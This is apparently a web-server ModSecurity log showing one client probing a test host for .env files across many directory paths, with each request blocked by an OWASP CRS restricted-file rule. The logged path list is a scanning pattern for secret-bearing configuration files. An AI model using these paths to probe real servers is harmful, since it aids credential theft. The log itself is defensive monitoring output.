[Wed Nov 20 22:03:34.344914 2024] [:error] [pid 3432836] [client 179.43.189.138:57274] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;Zz5OphXCl2FtfQrz1hPkmQAAAAY&quot;]
[Wed Nov 20 22:03:34.345422 2024] [:error] [pid 3432836] [client 179.43.189.138:57274] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;Zz5OphXCl2FtfQrz1hPkmQAAAAY&quot;]
[Wed Nov 20 22:03:34.345794 2024] [:error] [pid 3432836] [client 179.43.189.138:57274] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;Zz5OphXCl2FtfQrz1hPkmQAAAAY&quot;]
[Wed Nov 20 22:03:34.346092 2024] [:error] [pid 3432510] [client 179.43.189.138:57276] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;Zz5OppNIWEPqCpZJ2OSnzwAAAAI&quot;]
[Wed Nov 20 22:03:34.346725 2024] [:error] [pid 3432510] [client 179.43.189.138:57276] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;Zz5OppNIWEPqCpZJ2OSnzwAAAAI&quot;]
[Wed Nov 20 22:03:34.347221 2024] [:error] [pid 3432510] [client 179.43.189.138:57276] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;Zz5OppNIWEPqCpZJ2OSnzwAAAAI&quot;]
[Wed Nov 20 22:03:34.349866 2024] [:error] [pid 3437948] [client 179.43.189.138:57280] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Zz5Oph0PkVhcHywN3vd_SQAAAAg&quot;]
[Wed Nov 20 22:03:34.350554 2024] [:error] [pid 3437948] [client 179.43.189.138:57280] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Zz5Oph0PkVhcHywN3vd_SQAAAAg&quot;]
[Wed Nov 20 22:03:34.350958 2024] [:error] [pid 3437948] [client 179.43.189.138:57280] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Zz5Oph0PkVhcHywN3vd_SQAAAAg&quot;]
[Wed Nov 20 22:03:34.354825 2024] [:error] [pid 3432511] [client 179.43.189.138:57296] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Zz5OpvEOG8-BSstphSetMwAAAAM&quot;]
[Wed Nov 20 22:03:34.355085 2024] [:error] [pid 3432511] [client 179.43.189.138:57296] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Zz5OpvEOG8-BSstphSetMwAAAAM&quot;]
[Wed Nov 20 22:03:34.355274 2024] [:error] [pid 3432511] [client 179.43.189.138:57296] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Zz5OpvEOG8-BSstphSetMwAAAAM&quot;]
[Wed Nov 20 22:03:34.368909 2024] [:error] [pid 3432512] [client 179.43.189.138:57308] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;Zz5OprVdLJAhNWjSFbRVPQAAAAQ&quot;]
[Wed Nov 20 22:03:34.369334 2024] [:error] [pid 3432512] [client 179.43.189.138:57308] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;Zz5OprVdLJAhNWjSFbRVPQAAAAQ&quot;]
[Wed Nov 20 22:03:34.369616 2024] [:error] [pid 3432512] [client 179.43.189.138:57308] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;Zz5OprVdLJAhNWjSFbRVPQAAAAQ&quot;]
[Wed Nov 20 22:03:34.370299 2024] [:error] [pid 3432524] [client 179.43.189.138:57324] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;Zz5Opq6cv_oxOL4ro9C3DQAAAAU&quot;]
[Wed Nov 20 22:03:34.370627 2024] [:error] [pid 3432524] [client 179.43.189.138:57324] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;Zz5Opq6cv_oxOL4ro9C3DQAAAAU&quot;]
[Wed Nov 20 22:03:34.370835 2024] [:error] [pid 3432524] [client 179.43.189.138:57324] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;Zz5Opq6cv_oxOL4ro9C3DQAAAAU&quot;]
[Wed Nov 20 22:03:34.372550 2024] [:error] [pid 3432509] [client 179.43.189.138:57328] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;Zz5OpgqaIhYhUwB3k80gWQAAAAE&quot;]
[Wed Nov 20 22:03:34.372922 2024] [:error] [pid 3432509] [client 179.43.189.138:57328] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;Zz5OpgqaIhYhUwB3k80gWQAAAAE&quot;]
[Wed Nov 20 22:03:34.373226 2024] [:error] [pid 3432509] [client 179.43.189.138:57328] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;Zz5OpgqaIhYhUwB3k80gWQAAAAE&quot;]
[Wed Nov 20 22:03:34.375350 2024] [:error] [pid 3432508] [client 179.43.189.138:57340] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environment/.env&quot;] [unique_id &quot;Zz5Opv1WQWOOTUAxsO_9YAAAAAA&quot;]
[Wed Nov 20 22:03:34.375613 2024] [:error] [pid 3432508] [client 179.43.189.138:57340] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environment/.env&quot;] [unique_id &quot;Zz5Opv1WQWOOTUAxsO_9YAAAAAA&quot;]
[Wed Nov 20 22:03:34.375817 2024] [:error] [pid 3432508] [client 179.43.189.138:57340] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environment/.env&quot;] [unique_id &quot;Zz5Opv1WQWOOTUAxsO_9YAAAAAA&quot;]
[Wed Nov 20 22:03:34.379344 2024] [:error] [pid 3437952] [client 179.43.189.138:57356] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;Zz5OphJMIISc8jslYUlC0QAAAAk&quot;]
[Wed Nov 20 22:03:34.379592 2024] [:error] [pid 3437952] [client 179.43.189.138:57356] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;Zz5OphJMIISc8jslYUlC0QAAAAk&quot;]
[Wed Nov 20 22:03:34.379791 2024] [:error] [pid 3437952] [client 179.43.189.138:57356] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;Zz5OphJMIISc8jslYUlC0QAAAAk&quot;]
[Wed Nov 20 22:03:34.381673 2024] [:error] [pid 3437940] [client 179.43.189.138:57368] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;Zz5Opln7EBez1PUTednKpQAAAAc&quot;]
[Wed Nov 20 22:03:34.381975 2024] [:error] [pid 3437940] [client 179.43.189.138:57368] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;Zz5Opln7EBez1PUTednKpQAAAAc&quot;]
[Wed Nov 20 22:03:34.382185 2024] [:error] [pid 3437940] [client 179.43.189.138:57368] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;Zz5Opln7EBez1PUTednKpQAAAAc&quot;]
[Wed Nov 20 22:03:34.384662 2024] [:error] [pid 3432836] [client 179.43.189.138:57380] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/env/.env&quot;] [unique_id &quot;Zz5OphXCl2FtfQrz1hPkmgAAAAY&quot;]
[Wed Nov 20 22:03:34.384973 2024] [:error] [pid 3432836] [client 179.43.189.138:57380] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/env/.env&quot;] [unique_id &quot;Zz5OphXCl2FtfQrz1hPkmgAAAAY&quot;]
[Wed Nov 20 22:03:34.385215 2024] [:error] [pid 3432836] [client 179.43.189.138:57380] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/env/.env&quot;] [unique_id &quot;Zz5OphXCl2FtfQrz1hPkmgAAAAY&quot;]
